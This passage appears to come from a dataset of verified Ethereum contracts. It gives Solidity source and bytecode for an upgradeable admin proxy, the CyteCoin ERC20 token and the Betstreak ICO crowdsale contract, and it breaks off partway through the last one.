* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f28397014610192578063f851a440146101e35761005d565b3661005d5761005b610224565b005b610065610224565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023e565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b9091929391929390505050610293565b005b34801561015d57600080fd5b50610166610369565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019e57600080fd5b506101e1600480360360208110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103c1565b005b3480156101ef57600080fd5b506101f861050e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61022c610579565b61023c61023761060f565b610640565b565b610246610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102875761028281610697565b610290565b61028f610224565b5b50565b61029b610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561035b576102d783610697565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d8060008114610342576040519150601f19603f3d011682016040523d82523d6000602084013e610347565b606091505b505090508061035557600080fd5b50610364565b610363610224565b5b505050565b6000610373610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103b5576103ae61060f565b90506103be565b6103bd610224565b5b90565b6103c9610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561050257600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806107d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104ab610666565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16104fd816106e6565b61050b565b61050a610224565b5b50565b6000610518610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57610553610666565b9050610563565b610562610224565b5b90565b600080823b905060008111915050919050565b610581610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107a56032913960400191505060405180910390fd5b61060d610715565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610661573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106a081610717565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b61072081610566565b610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061080d603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122050dbf53c1b025683dbe940ab30777a2c351f6b28e7e257ba5012907f086f463f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,768 |
0xf36ccb6465fa93bf90771b5459b0b210a2d82392
|
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract CyteCoinERC20Token is StandardToken, Ownable {
string public name = 'CyteCoin';
string public symbol = 'CTC';
uint8 public decimals = 18;
uint256 private constant initialSupply = 1000000000000000000000000000;
function CyteCoinERC20Token() {
owner = msg.sender;
totalSupply = initialSupply;
balances[owner] = initialSupply;
}
}
|
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015857806318160ddd146101b257806323b872dd146101db578063313ce56714610254578063661884631461028357806370a08231146102dd5780638da5cb5b1461032a57806395d89b411461037f578063a9059cbb1461040d578063d73dd62314610467578063dd62ed3e146104c1578063f2fde38b1461052d575b600080fd5b34156100d557600080fd5b6100dd610566565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011d578082015181840152602081019050610102565b50505050905090810190601f16801561014a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016357600080fd5b610198600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610604565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c56106f6565b6040518082815260200191505060405180910390f35b34156101e657600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106fc565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b610267610abb565b604051808260ff1660ff16815260200191505060405180910390f35b341561028e57600080fd5b6102c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ace565b604051808215151515815260200191505060405180910390f35b34156102e857600080fd5b610314600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d5f565b6040518082815260200191505060405180910390f35b341561033557600080fd5b61033d610da8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038a57600080fd5b610392610dce565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041857600080fd5b61044d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e6c565b604051808215151515815260200191505060405180910390f35b341561047257600080fd5b6104a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611090565b604051808215151515815260200191505060405180910390f35b34156104cc57600080fd5b610517600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128c565b6040518082815260200191505060405180910390f35b341561053857600080fd5b610564600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611313565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fc5780601f106105d1576101008083540402835291602001916105fc565b820191906000526020600020905b8154815290600101906020018083116105df57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561073957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081257600080fd5b61086482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ea90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109cb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ea90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bdf576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c73565b610bf283826113ea90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e645780601f10610e3957610100808354040283529160200191610e64565b820191906000526020600020905b815481529060010190602001808311610e4757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ea957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ef757600080fd5b610f4982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ea90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fde82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061112182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156113e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008282111515156113f857fe5b818303905092915050565b600080828401905083811015151561141757fe5b80915050929150505600a165627a7a72305820ca9a0cde215c291794d7da2c917140017202ecf41f8320209fd96954507ad59e0029
|
{"success": true, "error": null, "results": {}}
| 7,769 |
0x25a4289eeBa56c9Fc1Ec5376C83EcC7F930Ed071
|
pragma solidity ^0.4.11;
// **-----------------------------------------------
// Betstreak Token sale contract
// Revision 1.1
// Refunds integrated, full test suite passed
// **-----------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
// -------------------------------------------------
// ICO configuration:
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+3601 -> s+50400]
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+25201 -> s+75600]
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+50401 -> s+100800]
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+75601 -> end]
// -------------------------------------------------
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BetstreakICO is owned, safeMath {
// owner/admin & token reward
address public admin = owner; // admin address
StandardToken public tokenReward; // address of the token used as reward
// deployment variables for static supply sale
uint256 public initialSupply;
uint256 public tokensRemaining;
// multi-sig addresses and price variable
address public beneficiaryWallet;
// beneficiaryMultiSig (founder group) or wallet account, live is 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd
uint256 public tokensPerEthPrice; // set initial value floating priceVar 1,300 tokens per Eth
// uint256 values for min,max,caps,tracking
uint256 public amountRaisedInWei; //
uint256 public fundingMinCapInWei; //
// loop control, ICO startup and limiters
string public CurrentStatus = ""; // current crowdsale status
uint256 public fundingStartBlock; // crowdsale start block#
uint256 public fundingEndBlock; // crowdsale end block#
bool public isCrowdSaleClosed = false; // crowdsale completion boolean
bool public areFundsReleasedToBeneficiary = false; // boolean for founders to receive Eth or not
bool public isCrowdSaleSetup = false; // boolean for crowdsale setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _BST);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
// default function, map admin
function BetstreakICO() onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
// total number of tokens initially
function initialBSTSupply() constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,100);
}
// remaining number of tokens
function remainingSupply() constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
// setup the CrowdSale parameters
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
// init addresses
tokenReward = StandardToken(0xA7F40CCD6833a65dD514088F4d419Afd9F0B0B52);
beneficiaryWallet = 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd;
tokensPerEthPrice = 1300;
// set day1 initial value floating priceVar 1,300 tokens per Eth
// funding targets
fundingMinCapInWei = 1000000000000000000000;
//300000000000000000000 = 1000 Eth (min cap) - crowdsale is considered success after this value
//testnet 5000000000000000000 = 5Eth
// update values
amountRaisedInWei = 0;
initialSupply = 20000000000;
// 200,000,000 + 2 decimals = 200,000,000,00
//testnet 1100000 = 11,000
tokensRemaining = safeDiv(initialSupply,100);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure crowdsale
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
//gas reduction experiment
setPrice();
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorized";
} else {
return "campaign cannot be changed";
}
}
function setPrice() {
// ICO configuration:
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400]
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600]
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800]
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end]
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+25200) {
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
tokensPerEthPrice=1300;
} else if (block.number >= fundingStartBlock+25201 && block.number <= fundingStartBlock+50400) {
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400]
tokensPerEthPrice=1200;
} else if (block.number >= fundingStartBlock+50401 && block.number <= fundingStartBlock+75600) {
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600]
tokensPerEthPrice=1100;
} else if (block.number >= fundingStartBlock+75601 && block.number <= fundingStartBlock+100800) {
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800]
tokensPerEthPrice=1050;
} else if (block.number >= fundingStartBlock+100801 && block.number <= fundingEndBlock) {
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end]
tokensPerEthPrice=1000;
}
}
// default payable function when sending ether to this contract
function () payable {
require(msg.data.length == 0);
BuyBSTtokens();
}
function BuyBSTtokens() payable {
// 0. conditions (length, crowdsale setup, zero check,
//exceed funding contrib check, contract valid check, within funding block range check, balance overflow check etc)
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
setPrice();
amountRaisedInWei = safeAdd(amountRaisedInWei,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),10000000000000000);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,100));
// will cause throw if attempt to purchase over the token limit in one tx or at all once limit reached
tokenReward.transfer(msg.sender, rewardTransferAmount);
// 4. events
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
}
function checkGoalReached() onlyOwner returns (bytes32 response) {
// return crowdfund status to owner for each result case, update public constant
// update state & status variables
require (isCrowdSaleSetup);
